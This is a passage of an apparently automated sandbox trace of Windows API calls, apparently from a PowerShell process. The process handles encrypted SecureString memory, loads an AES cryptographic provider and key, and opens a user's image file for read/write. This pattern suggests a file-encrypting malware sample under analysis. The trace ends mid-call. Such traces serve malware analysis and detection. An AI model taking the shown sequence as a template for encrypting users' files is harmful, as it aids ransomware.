(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.967] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.967] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.967] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0136.967] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.967] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.967] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.967] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.967] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0136.967] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.967] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.967] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.967] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.967] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0136.967] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.967] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.967] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.967] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.967] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0136.967] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.967] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.968] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.968] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.968] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0136.968] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.968] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.968] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.968] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.968] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0136.968] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.968] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.968] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.968] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.968] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0136.968] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.968] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.968] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.968] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.968] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0136.968] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.968] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0136.968] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.969] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.969] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0136.969] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.969] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.969] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0136.969] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.969] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.969] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0136.969] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.969] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.969] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0136.969] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.969] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.970] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0136.970] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.970] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.970] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0136.970] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.970] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.970] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.970] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0136.970] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0136.970] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0136.970] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0136.971] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0136.971] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0136.971] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0136.971] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0136.972] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.972] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0136.972] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0136.972] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e028b0) returned 1 [0136.973] CryptImportKey (in: hProv=0x8e028b0, pbData=0x6a09ccc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e850f8) returned 1 [0136.973] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.973] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.973] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.973] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.973] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.974] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp")) returned 0x20 [0136.974] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp")) returned 0x20 [0136.974] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", lpFilePart=0x0) returned 0x47 [0136.974] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", lpFilePart=0x0) returned 0x47 [0136.974] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.974] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", lpFilePart=0x0) returned 0x47 [0136.974] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", lpFilePart=0x0) returned 0x47 [0136.974] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.974] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.974] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.974] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.975] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp", lpFilePart=0x0) returned 0x47 [0136.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.975] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0136.975] GetFileType (hFile=0x764) returned 0x1 [0136.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.975] GetFileType (hFile=0x764) returned 0x1 [0136.975] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.975] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0136.975] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, 